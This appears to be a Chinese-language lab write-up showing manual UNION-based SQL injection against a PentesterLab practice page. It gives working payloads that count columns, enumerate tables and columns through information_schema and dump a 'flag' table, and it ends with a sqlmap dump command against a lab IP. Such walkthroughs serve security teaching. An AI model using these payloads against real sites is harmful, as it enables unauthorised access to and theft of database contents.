因为原文已经提示过为get注入(所以直接入手注入,如果需要判断是否有注入点的话可以利用’ 和and 1=1 的方法状况代)
sql注入手动注入的两种方法
①sql简单注入方式进行注入
一,首先尝试利用’进行注入发觉弹出错误页面,即考虑注入方式为字符注入(因为整数注入的话是显示回旋为正常页面的)
二,字符注入因此考虑闭合单引号
即构造‘ – ’
–在这里的作用是注释掉后面的运算符的作用,实现字符注入
三,构造语句进行注入
’ order by 4 -- ‘//利用回旋的页面进行判断有几个字符,当by为4的时候回旋页面正常,5的时候报错,因此具有4个字符点
' uinon select 1,2,user(),database() -- '//进行爆当前的数据库和用户名
//进行读取数据库中的数据表
' union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='pentesterlab' limit 0,19 -- '//因为是个人习惯不知道到底有多少个所以直接读取多个数据表,注意只有在where那里为s
读取数据表中的字段
' union select 1,2,COLUMN_NAME,4 from information_schema.COLUMNS where TABLE_SCHEMA='pentesterlab' and TABLE_NAME='flag' limit 0,19 --'
爆出flag即爆出数据
’ union select 1,flag,3,4 from pentesterlab.flag -- '
第二种方法升华构造
利用group_concat()和where构造后进行注入
爆出数据表
' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database() -- '
爆出flag里面的字段
' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name= 'flag' -- '
爆出字符和第一种方法同
②利用sqlmap进行注入(因为利用sqlmap注入比较简单,所以这里就不给图了,直接上代码段)
//直接爆出flag
sqlmap -u http://192.168.18.131/pentest/test/sqli/sqltamp.php?gid=1 -D pentesterlab -T flag -C flag --dump